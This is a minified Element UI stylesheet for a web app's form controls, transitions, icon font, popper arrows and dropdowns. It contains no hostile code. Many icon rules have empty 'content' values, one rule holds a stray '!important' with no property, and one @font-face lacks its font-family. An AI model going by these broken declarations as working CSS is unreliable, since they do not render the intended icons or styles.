.el-button--info:not(:first-child):not(:last-child){border-left-color:rgba(255,255,255,.5);border-right-color:rgba(255,255,255,.5)}.el-switch{display:-webkit-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:center;-ms-flex-align:center;align-items:center;position:relative;font-size:14px;line-height:20px;height:20px;vertical-align:middle}.el-switch.is-disabled .el-switch__core,.el-switch.is-disabled .el-switch__label{cursor:not-allowed}.el-switch__core,.el-switch__label{display:inline-block;cursor:pointer;vertical-align:middle}.el-switch__label{-webkit-transition:.2s;transition:.2s;height:20px;font-size:14px;font-weight:500;color:#303133}.el-switch__label.is-active{color:#409EFF}.el-switch__label--left{margin-right:10px}.el-switch__label--right{margin-left:10px}.el-switch__label *{line-height:1;font-size:14px;display:inline-block}.el-switch__input{position:absolute;width:0;height:0;opacity:0;margin:0}.el-switch__input:focus~.el-switch__core{outline:#409EFF solid 1px}.el-switch__core{margin:0;position:relative;width:40px;height:20px;border:1px solid #dcdfe6;outline:0;border-radius:10px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#dcdfe6;-webkit-transition:border-color .3s,background-color .3s;transition:border-color .3s,background-color .3s}.el-switch__core:after{;position:absolute;top:1px;left:1px;border-radius:100%;-webkit-transition:all .3s;transition:all .3s;width:16px;height:16px;background-color:#fff}.el-switch.is-checked .el-switch__core{border-color:#409EFF;background-color:#409EFF}.el-switch.is-checked .el-switch__core::after{left:100%;margin-left:-17px}.el-switch.is-disabled{opacity:.6}.el-switch--wide .el-switch__label.el-switch__label--left span{left:10px}.el-switch--wide .el-switch__label.el-switch__label--right span{right:10px}.el-switch .label-fade-enter,.el-switch .label-fade-leave-active{opacity:0}.el-checkbox,.el-checkbox__input{display:inline-block;position:relative}.el-checkbox-button__inner,.el-checkbox__input{white-space:nowrap;vertical-align:middle;outline:0}.el-checkbox{color:#606266;font-weight:500;font-size:14px;cursor:pointer;white-space:nowrap;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-checkbox.is-bordered{padding:9px 20px 9px 10px;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:normal;height:40px}.el-checkbox.is-bordered.is-checked{border-color:#409EFF}.el-checkbox.is-bordered.is-disabled{border-color:#ebeef5;cursor:not-allowed}.el-checkbox.is-bordered+.el-checkbox.is-bordered{margin-left:10px}.el-checkbox.is-bordered.el-checkbox--medium{padding:7px 20px 7px 10px;border-radius:4px;height:36px}.el-checkbox.is-bordered.el-checkbox--medium .el-checkbox__label{line-height:17px;font-size:14px}.el-checkbox.is-bordered.el-checkbox--medium .el-checkbox__inner{height:14px;width:14px}.el-checkbox.is-bordered.el-checkbox--small{padding:5px 15px 5px 10px;border-radius:3px;height:32px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__label{line-height:15px;font-size:12px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner{height:12px;width:12px}.el-checkbox.is-bordered.el-checkbox--small .el-checkbox__inner::after{height:6px;width:2px}.el-checkbox.is-bordered.el-checkbox--mini{padding:3px 15px 3px 10px;border-radius:3px;height:28px}.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__label{line-height:12px;font-size:12px}.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__inner{height:12px;width:12px}.el-checkbox.is-bordered.el-checkbox--mini .el-checkbox__inner::after{height:6px;width:2px}.el-checkbox__input{cursor:pointer;line-height:1}.el-checkbox__input.is-disabled .el-checkbox__inner{background-color:#edf2fc;border-color:#dcdfe6;cursor:not-allowed}.el-checkbox__input.is-disabled .el-checkbox__inner::after{cursor:not-allowed;border-color:#c0c4cc}.el-checkbox__input.is-disabled .el-checkbox__inner+.el-checkbox__label{cursor:not-allowed}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner{background-color:#f2f6fc;border-color:#dcdfe6}.el-checkbox__input.is-disabled.is-checked .el-checkbox__inner::after{border-color:#c0c4cc}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner{background-color:#f2f6fc;border-color:#dcdfe6}.el-checkbox__input.is-disabled.is-indeterminate .el-checkbox__inner::before{background-color:#c0c4cc;border-color:#c0c4cc}.el-checkbox__input.is-checked .el-checkbox__inner,.el-checkbox__input.is-indeterminate .el-checkbox__inner{background-color:#409EFF;border-color:#409EFF}.el-checkbox__input.is-disabled+span.el-checkbox__label{color:#c0c4cc;cursor:not-allowed}.el-checkbox__input.is-checked .el-checkbox__inner::after{-webkit-transform:rotate(45deg) scaleY(1);transform:rotate(45deg) scaleY(1)}.el-checkbox__input.is-checked+.el-checkbox__label{color:#409EFF}.el-checkbox__input.is-focus .el-checkbox__inner{border-color:#409EFF}.el-checkbox__input.is-indeterminate .el-checkbox__inner::before{position:absolute;display:block;background-color:#fff;height:2px;-webkit-transform:scale(.5);transform:scale(.5);left:0;right:0;top:5px}.el-checkbox__input.is-indeterminate .el-checkbox__inner::after{display:none}.el-checkbox__inner{display:inline-block;position:relative;border:1px solid #dcdfe6;border-radius:2px;-webkit-box-sizing:border-box;box-sizing:border-box;width:14px;height:14px;background-color:#fff;z-index:1;-webkit-transition:border-color .25s cubic-bezier(.71,-.46,.29,1.46),background-color .25s cubic-bezier(.71,-.46,.29,1.46);transition:border-color .25s cubic-bezier(.71,-.46,.29,1.46),background-color .25s cubic-bezier(.71,-.46,.29,1.46)}.el-checkbox__inner:hover{border-color:#409EFF}.el-checkbox__inner::after{-webkit-box-sizing:content-box;box-sizing:content-box;border:1px solid #fff;border-left:0;border-top:0;height:7px;left:4px;position:absolute;top:1px;-webkit-transform:rotate(45deg) scaleY(0);transform:rotate(45deg) scaleY(0);width:3px;-webkit-transition:-webkit-transform .15s ease-in .05s;transition:-webkit-transform .15s ease-in .05s;transition:transform .15s ease-in .05s;transition:transform .15s ease-in .05s,-webkit-transform .15s ease-in .05s;-webkit-transform-origin:center;transform-origin:center}.el-checkbox__original{opacity:0;outline:0;position:absolute;margin:0;width:0;height:0;z-index:-1}.el-checkbox-button,.el-checkbox-button__inner{display:inline-block;position:relative}.el-checkbox__label{display:inline-block;padding-left:10px;line-height:19px;font-size:14px}.el-checkbox+.el-checkbox{margin-left:30px}.el-checkbox-button__inner{line-height:1;font-weight:500;cursor:pointer;background:#fff;border:1px solid #dcdfe6;border-left:0;color:#606266;-webkit-appearance:none;text-align:center;-webkit-box-sizing:border-box;box-sizing:border-box;margin:0;-webkit-transition:all .3s cubic-bezier(.645,.045,.355,1);transition:all .3s cubic-bezier(.645,.045,.355,1);-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;padding:12px 20px;font-size:14px;border-radius:0}.el-checkbox-button__inner.is-round{padding:12px 20px}.el-checkbox-button__inner:hover{color:#409EFF}.el-checkbox-button__inner [class*=el-icon-]{line-height:.9}.el-checkbox-button__inner [class*=el-icon-]+span{margin-left:5px}.el-checkbox-button__original{opacity:0;outline:0;position:absolute;margin:0;z-index:-1}.el-checkbox-button.is-checked .el-checkbox-button__inner{color:#fff;background-color:#409EFF;border-color:#409EFF;-webkit-box-shadow:-1px 0 0 0 #8cc5ff;box-shadow:-1px 0 0 0 #8cc5ff}.el-checkbox-button.is-checked:first-child .el-checkbox-button__inner{border-left-color:#409EFF}.el-checkbox-button.is-disabled .el-checkbox-button__inner{color:#c0c4cc;cursor:not-allowed;background-image:none;background-color:#fff;border-color:#ebeef5;-webkit-box-shadow:none;box-shadow:none}.el-checkbox-button.is-disabled:first-child .el-checkbox-button__inner{border-left-color:#ebeef5}.el-checkbox-button:first-child .el-checkbox-button__inner{border-left:1px solid #dcdfe6;border-radius:4px 0 0 4px;-webkit-box-shadow:none!important;box-shadow:none!important}.el-checkbox-button.is-focus .el-checkbox-button__inner{border-color:#409EFF}.el-checkbox-button:last-child .el-checkbox-button__inner{border-radius:0 4px 4px 0}.el-checkbox-button--medium .el-checkbox-button__inner{padding:10px 20px;font-size:14px;border-radius:0}.el-checkbox-button--medium .el-checkbox-button__inner.is-round{padding:10px 20px}.el-checkbox-button--small .el-checkbox-button__inner{padding:9px 15px;font-size:12px;border-radius:0}.el-checkbox-button--small .el-checkbox-button__inner.is-round{padding:9px 15px}.el-checkbox-button--mini .el-checkbox-button__inner{padding:7px 15px;font-size:12px;border-radius:0}.el-checkbox-button--mini .el-checkbox-button__inner.is-round{padding:7px 15px}.el-checkbox-group{font-size:0}.el-textarea{display:inline-block;width:100%;vertical-align:bottom;font-size:14px}.el-input__inner{-webkit-appearance:none;background-color:#fff;background-image:none;border-radius:4px;border:1px solid #dcdfe6;-webkit-box-sizing:border-box;box-sizing:border-box;color:#606266;display:inline-block;font-size:inherit;height:40px;line-height:40px;outline:0;padding:0 15px;-webkit-transition:border-color .2s cubic-bezier(.645,.045,.355,1);transition:border-color .2s cubic-bezier(.645,.045,.355,1);width:100%}.el-input__prefix,.el-input__suffix{position:absolute;top:0;-webkit-transition:all .3s;text-align:center;height:100%;color:#c0c4cc}.el-input__inner::-ms-clear{display:none;width:0;height:0}.el-form--inline .el-form-item,.el-form--inline .el-form-item__content{display:inline-block;vertical-align:top}.el-form-item::after,.el-form-item__content::after{clear:both}.el-form--label-left .el-form-item__label{text-align:left}.el-form--label-top .el-form-item__label{float:none;display:inline-block;text-align:left;padding:0 0 10px}.el-form--inline .el-form-item{margin-right:10px}.el-form--inline .el-form-item__label{float:none;display:inline-block}.el-form-item__content .el-input-group,.el-form-item__label{vertical-align:middle}.el-form--inline.el-form--label-top .el-form-item__content{display:block}.el-form-item{margin-bottom:22px}.el-form-item::after,.el-form-item::before{display:table;}.el-form-item .el-form-item{margin-bottom:0}.el-form-item--mini.el-form-item,.el-form-item--small.el-form-item{margin-bottom:18px}.el-form-item .el-input__validateIcon{display:none}.el-form-item--medium .el-form-item__content,.el-form-item--medium .el-form-item__label{line-height:36px}.el-form-item--small .el-form-item__content,.el-form-item--small .el-form-item__label{line-height:32px}.el-form-item--small .el-form-item__error{padding-top:2px}.el-form-item--mini .el-form-item__content,.el-form-item--mini .el-form-item__label{line-height:28px}.el-form-item--mini .el-form-item__error{padding-top:1px}.el-form-item__label{text-align:right;float:left;font-size:14px;color:#606266;line-height:40px;padding:0 12px 0 0;-webkit-box-sizing:border-box;box-sizing:border-box}.el-form-item__content{line-height:40px;position:relative;font-size:14px}.el-form-item__content::after,.el-form-item__content::before{display:table;}.el-form-item__error{color:#f56c6c;font-size:12px;line-height:1;padding-top:4px;position:absolute;top:100%;left:0}.el-form-item__error--inline{position:relative;top:auto;left:auto;display:inline-block;margin-left:10px}.el-form-item.is-required .el-form-item__label:before{color:#f56c6c;margin-right:4px}.el-form-item.is-error .el-input__inner,.el-form-item.is-error .el-input__inner:focus,.el-form-item.is-error .el-textarea__inner,.el-form-item.is-error .el-textarea__inner:focus{border-color:#f56c6c}.el-form-item.is-error .el-input-group__append .el-input__inner,.el-form-item.is-error .el-input-group__prepend .el-input__inner{border-color:transparent}.el-form-item.is-error .el-input__validateIcon{color:#f56c6c}.el-form-item.is-success .el-input__inner,.el-form-item.is-success .el-input__inner:focus,.el-form-item.is-success .el-textarea__inner,.el-form-item.is-success .el-textarea__inner:focus{border-color:#67c23a}.el-form-item.is-success .el-input-group__append .el-input__inner,.el-form-item.is-success .el-input-group__prepend .el-input__inner{border-color:transparent}.el-form-item.is-success .el-input__validateIcon{color:#67c23a}.el-form-item--feedback .el-input__validateIcon{display:inline-block}.el-fade-in-enter,.el-fade-in-leave-active,.el-fade-in-linear-enter,.el-fade-in-linear-leave,.el-fade-in-linear-leave-active,.fade-in-linear-enter,.fade-in-linear-leave,.fade-in-linear-leave-active{opacity:0}.fade-in-linear-enter-active,.fade-in-linear-leave-active{-webkit-transition:opacity .2s linear;transition:opacity .2s linear}.el-fade-in-linear-enter-active,.el-fade-in-linear-leave-active{-webkit-transition:opacity .2s linear;transition:opacity .2s linear}.el-fade-in-enter-active,.el-fade-in-leave-active{-webkit-transition:all .3s cubic-bezier(.55,0,.1,1);transition:all .3s cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter-active,.el-zoom-in-center-leave-active{-webkit-transition:all .3s cubic-bezier(.55,0,.1,1);transition:all .3s cubic-bezier(.55,0,.1,1)}.el-zoom-in-center-enter,.el-zoom-in-center-leave-active{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0)}.el-zoom-in-top-enter-active,.el-zoom-in-top-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:center top;transform-origin:center top}.el-zoom-in-top-enter,.el-zoom-in-top-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}.el-zoom-in-bottom-enter-active,.el-zoom-in-bottom-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:center bottom;transform-origin:center bottom}.el-zoom-in-bottom-enter,.el-zoom-in-bottom-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}.el-zoom-in-left-enter-active,.el-zoom-in-left-leave-active{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1);transition:transform .3s cubic-bezier(.23,1,.32,1),opacity .3s cubic-bezier(.23,1,.32,1),-webkit-transform .3s cubic-bezier(.23,1,.32,1);-webkit-transform-origin:top left;transform-origin:top left}.el-zoom-in-left-enter,.el-zoom-in-left-leave-active{opacity:0;-webkit-transform:scale(.45,.45);transform:scale(.45,.45)}.collapse-transition{-webkit-transition:.3s height ease-in-out,.3s padding-top ease-in-out,.3s padding-bottom ease-in-out;transition:.3s height ease-in-out,.3s padding-top ease-in-out,.3s padding-bottom ease-in-out}.horizontal-collapse-transition{-webkit-transition:.3s width ease-in-out,.3s padding-left ease-in-out,.3s padding-right ease-in-out;transition:.3s width ease-in-out,.3s padding-left ease-in-out,.3s padding-right ease-in-out}.el-list-enter-active,.el-list-leave-active{-webkit-transition:all 1s;transition:all 1s}.el-list-enter,.el-list-leave-active{opacity:0;-webkit-transform:translateY(-30px);transform:translateY(-30px)}.el-opacity-transition{-webkit-transition:opacity .3s cubic-bezier(.55,0,.1,1);transition:opacity .3s cubic-bezier(.55,0,.1,1)}@font-face{font-family:element-icons;src:url(/assets/chat-merchant/dist/resource/element-icons.2fad952a.woff) format(\"woff\"),url(/assets/chat-merchant/dist/resource/element-icons.6f0a7632.ttf) format(\"truetype\");font-weight:400;font-style:normal}[class*=\" el-icon-\"],[class^=el-icon-]{font-family:element-icons!important;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;vertical-align:baseline;display:inline-block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.el-icon-info:before{content:}.el-icon-error:before{content:}.el-icon-success:before{content:}.el-icon-warning:before{content:}.el-icon-question:before{content:}.el-icon-back:before{content:}.el-icon-arrow-left:before{content:}.el-icon-arrow-down:before{content:}.el-icon-arrow-right:before{content:}.el-icon-arrow-up:before{content:}.el-icon-caret-left:before{content:}.el-icon-caret-bottom:before{content:}.el-icon-caret-top:before{content:}.el-icon-caret-right:before{content:}.el-icon-d-arrow-left:before{content:}.el-icon-d-arrow-right:before{content:}.el-icon-minus:before{content:}.el-icon-plus:before{content:}.el-icon-remove:before{content:}.el-icon-circle-plus:before{content:}.el-icon-remove-outline:before{content:}.el-icon-circle-plus-outline:before{content:}.el-icon-close:before{content:}.el-icon-check:before{content:}.el-icon-circle-close:before{content:}.el-icon-circle-check:before{content:}.el-icon-circle-close-outline:before{content:}.el-icon-circle-check-outline:before{content:}.el-icon-zoom-out:before{content:}.el-icon-zoom-in:before{content:}.el-icon-d-caret:before{content:}.el-icon-sort:before{content:}.el-icon-sort-down:before{content:}.el-icon-sort-up:before{content:}.el-icon-tickets:before{content:}.el-icon-document:before{content:}.el-icon-goods:before{content:}.el-icon-sold-out:before{content:}.el-icon-news:before{content:}.el-icon-message:before{content:}.el-icon-date:before{content:}.el-icon-printer:before{content:}.el-icon-time:before{content:}.el-icon-bell:before{content:}.el-icon-mobile-phone:before{content:}.el-icon-service:before{content:}.el-icon-view:before{content:}.el-icon-menu:before{content:}.el-icon-more:before{content:}.el-icon-more-outline:before{content:}.el-icon-star-on:before{content:}.el-icon-star-off:before{content:}.el-icon-location:before{content:}.el-icon-location-outline:before{content:}.el-icon-phone:before{content:}.el-icon-phone-outline:before{content:}.el-icon-picture:before{content:}.el-icon-picture-outline:before{content:}.el-icon-delete:before{content:}.el-icon-search:before{content:}.el-icon-edit:before{content:}.el-icon-edit-outline:before{content:}.el-icon-rank:before{content:}.el-icon-refresh:before{content:}.el-icon-share:before{content:}.el-icon-setting:before{content:}.el-icon-upload:before{content:}.el-icon-upload2:before{content:}.el-icon-download:before{content:}.el-icon-loading:before{content:}.el-icon-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite}.el-icon--right{margin-left:5px}.el-icon--left{margin-right:5px}@-webkit-keyframes rotating{0%{-webkit-transform:rotateZ(0);transform:rotateZ(0)}100%{-webkit-transform:rotateZ(360deg);transform:rotateZ(360deg)}}@keyframes rotating{0%{-webkit-transform:rotateZ(0);transform:rotateZ(0)}100%{-webkit-transform:rotateZ(360deg);transform:rotateZ(360deg)}}.fade-in-linear-enter-active,.fade-in-linear-leave-active{-webkit-transition:opacity 200ms linear;transition:opacity 200ms linear;}.fade-in-linear-enter,.fade-in-linear-leave,.fade-in-linear-leave-active{opacity:0;}.el-fade-in-linear-enter-active,.el-fade-in-linear-leave-active{-webkit-transition:opacity 200ms linear;transition:opacity 200ms linear;}.el-fade-in-linear-enter,.el-fade-in-linear-leave,.el-fade-in-linear-leave-active{opacity:0;}.el-fade-in-enter-active,.el-fade-in-leave-active{-webkit-transition:all 0.3s cubic-bezier(0.55,0,0.1,1);transition:all 0.3s cubic-bezier(0.55,0,0.1,1);}.el-fade-in-enter,.el-fade-in-leave-active{opacity:0;}.el-zoom-in-center-enter-active,.el-zoom-in-center-leave-active{-webkit-transition:all 0.3s cubic-bezier(0.55,0,0.1,1);transition:all 0.3s cubic-bezier(0.55,0,0.1,1);}.el-zoom-in-center-enter,.el-zoom-in-center-leave-active{opacity:0;-webkit-transform:scaleX(0);transform:scaleX(0);}.el-zoom-in-top-enter-active,.el-zoom-in-top-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);-webkit-transform-origin:center top;transform-origin:center top;}.el-zoom-in-top-enter,.el-zoom-in-top-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0);}.el-zoom-in-bottom-enter-active,.el-zoom-in-bottom-leave-active{opacity:1;-webkit-transform:scaleY(1);transform:scaleY(1);-webkit-transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);-webkit-transform-origin:center bottom;transform-origin:center bottom;}.el-zoom-in-bottom-enter,.el-zoom-in-bottom-leave-active{opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0);}.el-zoom-in-left-enter-active,.el-zoom-in-left-leave-active{opacity:1;-webkit-transform:scale(1,1);transform:scale(1,1);-webkit-transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1);transition:transform 300ms cubic-bezier(0.23,1,0.32,1),opacity 300ms cubic-bezier(0.23,1,0.32,1),-webkit-transform 300ms cubic-bezier(0.23,1,0.32,1);-webkit-transform-origin:top left;transform-origin:top left;}.el-zoom-in-left-enter,.el-zoom-in-left-leave-active{opacity:0;-webkit-transform:scale(0.45,0.45);transform:scale(0.45,0.45);}.collapse-transition{-webkit-transition:0.3s height ease-in-out,0.3s padding-top ease-in-out,0.3s padding-bottom ease-in-out;transition:0.3s height ease-in-out,0.3s padding-top ease-in-out,0.3s padding-bottom ease-in-out;}.horizontal-collapse-transition{-webkit-transition:0.3s width ease-in-out,0.3s padding-left ease-in-out,0.3s padding-right ease-in-out;transition:0.3s width ease-in-out,0.3s padding-left ease-in-out,0.3s padding-right ease-in-out;}.el-list-enter-active,.el-list-leave-active{-webkit-transition:all 1s;transition:all 1s;}.el-list-enter,.el-list-leave-active{opacity:0;-webkit-transform:translateY(-30px);transform:translateY(-30px);}.el-opacity-transition{-webkit-transition:opacity 0.3s cubic-bezier(0.55,0,0.1,1);transition:opacity 0.3s cubic-bezier(0.55,0,0.1,1);}@font-face{src:url(/assets/chat-merchant/dist/resource/element-icons.2fad952a.woff) format(\"woff\"),url(/assets/chat-merchant/dist/resource/element-icons.6f0a7632.ttf) format(\"truetype\");font-weight:normal;font-style:normal;}[class^=\"el-icon-\"],[class*=\" el-icon-\"]{ !important;speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;line-height:1;vertical-align:baseline;display:inline-block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.el-icon-info:before{content:;}.el-icon-error:before{content:;}.el-icon-success:before{content:;}.el-icon-warning:before{content:;}.el-icon-question:before{content:;}.el-icon-back:before{content:;}.el-icon-arrow-left:before{content:;}.el-icon-arrow-down:before{content:;}.el-icon-arrow-right:before{content:;}.el-icon-arrow-up:before{content:;}.el-icon-caret-left:before{content:;}.el-icon-caret-bottom:before{content:;}.el-icon-caret-top:before{content:;}.el-icon-caret-right:before{content:;}.el-icon-d-arrow-left:before{content:;}.el-icon-d-arrow-right:before{content:;}.el-icon-minus:before{content:;}.el-icon-plus:before{content:;}.el-icon-remove:before{content:;}.el-icon-circle-plus:before{content:;}.el-icon-remove-outline:before{content:;}.el-icon-circle-plus-outline:before{content:;}.el-icon-close:before{content:;}.el-icon-check:before{content:;}.el-icon-circle-close:before{content:;}.el-icon-circle-check:before{content:;}.el-icon-circle-close-outline:before{content:;}.el-icon-circle-check-outline:before{content:;}.el-icon-zoom-out:before{content:;}.el-icon-zoom-in:before{content:;}.el-icon-d-caret:before{content:;}.el-icon-sort:before{content:;}.el-icon-sort-down:before{content:;}.el-icon-sort-up:before{content:;}.el-icon-tickets:before{content:;}.el-icon-document:before{content:;}.el-icon-goods:before{content:;}.el-icon-sold-out:before{content:;}.el-icon-news:before{content:;}.el-icon-message:before{content:;}.el-icon-date:before{content:;}.el-icon-printer:before{content:;}.el-icon-time:before{content:;}.el-icon-bell:before{content:;}.el-icon-mobile-phone:before{content:;}.el-icon-service:before{content:;}.el-icon-view:before{content:;}.el-icon-menu:before{content:;}.el-icon-more:before{content:;}.el-icon-more-outline:before{content:;}.el-icon-star-on:before{content:;}.el-icon-star-off:before{content:;}.el-icon-location:before{content:;}.el-icon-location-outline:before{content:;}.el-icon-phone:before{content:;}.el-icon-phone-outline:before{content:;}.el-icon-picture:before{content:;}.el-icon-picture-outline:before{content:;}.el-icon-delete:before{content:;}.el-icon-search:before{content:;}.el-icon-edit:before{content:;}.el-icon-edit-outline:before{content:;}.el-icon-rank:before{content:;}.el-icon-refresh:before{content:;}.el-icon-share:before{content:;}.el-icon-setting:before{content:;}.el-icon-upload:before{content:;}.el-icon-upload2:before{content:;}.el-icon-download:before{content:;}.el-icon-loading:before{content:;}.el-icon-loading{-webkit-animation:rotating 2s linear infinite;animation:rotating 2s linear infinite;}.el-icon--right{margin-left:5px;}.el-icon--left{margin-right:5px;}@-webkit-keyframes rotating{0%{-webkit-transform:rotateZ(0deg);transform:rotateZ(0deg);}100%{-webkit-transform:rotateZ(360deg);transform:rotateZ(360deg);}}@keyframes rotating{0%{-webkit-transform:rotateZ(0deg);transform:rotateZ(0deg);}100%{-webkit-transform:rotateZ(360deg);transform:rotateZ(360deg);}}.el-popper .popper__arrow,.el-popper .popper__arrow::after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid;}.el-popper .popper__arrow{border-width:6px;-webkit-filter:drop-shadow(0 2px 12px rgba(0,0,0,0.03));filter:drop-shadow(0 2px 12px rgba(0,0,0,0.03));}.el-popper .popper__arrow::after{border-width:6px;}.el-popper[x-placement^=\"top\"]{margin-bottom:12px;}.el-popper[x-placement^=\"top\"] .popper__arrow{bottom:-6px;left:50%;margin-right:3px;border-top-color:#ebeef5;border-bottom-width:0;}.el-popper[x-placement^=\"top\"] .popper__arrow::after{bottom:1px;margin-left:-6px;border-top-color:#fff;border-bottom-width:0;}.el-popper[x-placement^=\"bottom\"]{margin-top:12px;}.el-popper[x-placement^=\"bottom\"] .popper__arrow{top:-6px;left:50%;margin-right:3px;border-top-width:0;border-bottom-color:#ebeef5;}.el-popper[x-placement^=\"bottom\"] .popper__arrow::after{top:1px;margin-left:-6px;border-top-width:0;border-bottom-color:#fff;}.el-popper[x-placement^=\"right\"]{margin-left:12px;}.el-popper[x-placement^=\"right\"] .popper__arrow{top:50%;left:-6px;margin-bottom:3px;border-right-color:#ebeef5;border-left-width:0;}.el-popper[x-placement^=\"right\"] .popper__arrow::after{bottom:-6px;left:1px;border-right-color:#fff;border-left-width:0;}.el-popper[x-placement^=\"left\"]{margin-right:12px;}.el-popper[x-placement^=\"left\"] .popper__arrow{top:50%;right:-6px;margin-bottom:3px;border-right-width:0;border-left-color:#ebeef5;}.el-popper[x-placement^=\"left\"] .popper__arrow::after{right:1px;bottom:-6px;margin-left:-6px;border-right-width:0;border-left-color:#fff;}.el-select-dropdown{position:absolute;z-index:1001;border:solid 1px #e4e7ed;border-radius:4px;background-color:#fff;-webkit-box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);box-shadow:0 2px 12px 0 rgba(0,0,0,0.1);-webkit-box-sizing:border-box;box-sizing:border-box;margin:5px 0;}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected{color:#387ef5;background-color:#fff;}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected.hover{background-color:#f5f7fa;}.el-select-dropdown.is-multiple .el-select-dropdown__item.selected::after{position:absolute;right:20px;font-family:\"element-icons\";content:;font-size:12px;font-weight:bold;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}.el-select-dropdown .el-scrollbar.is-empty .el-select-dropdown__list{padding:0;}.el-select-dropdown__empty{padding:10px 0;margin:0;text-align:center;color:#999;font-size:14px;}.el-select-dropdown__wrap{max-height:274px;}.el-select-dropdown__list{list-style:none;padding:6px 0;margin:0;-webkit-box-sizing:border-box;box-sizing:border-box;}.el-textarea{display:inline-block;width:100%;vertical-align:bottom;font-size:14px;}.el-textarea__inner{display:block;resize:vertical;padding:5px 15px;line-height:1.5;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;font-size:inherit;color:#606266;background-color:#fff;background-image:none;border:1px solid #dcdfe6;border-radius:4px;-webkit-transition:border-color 0.2s cubic-bezier(0.645,0.045,0.355,1);transition:border-color 0.2s cubic-bezier(0.645,0.045,0.355,1);}.el-textarea__inner::-webkit-input-placeholder{color:#c0c4cc;}.el-textarea__inner:-ms-input-placeholder{color:#c0c4cc;}.el-textarea__inner::-ms-input-placeholder{color:#c0c4cc;}.el-textarea__inner::placeholder{color:#c0c4cc;}.el-textarea__inner:hover{border-color:#c0c4cc;}.el-textarea__inner:focus{outline:none;border-color:#387ef5;}.el-textarea.is-disabled .el-textarea__inner{background-color:#f5f7fa;border-color:#e4e7ed;color:#c0c4cc;cursor:not-allowed;}.el-textarea.is-disabled .el-textarea__inner::-webkit-input-placeholder{color:#c0c4cc;}.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder{color:#c0c4cc;}.el-textarea.is-disabled 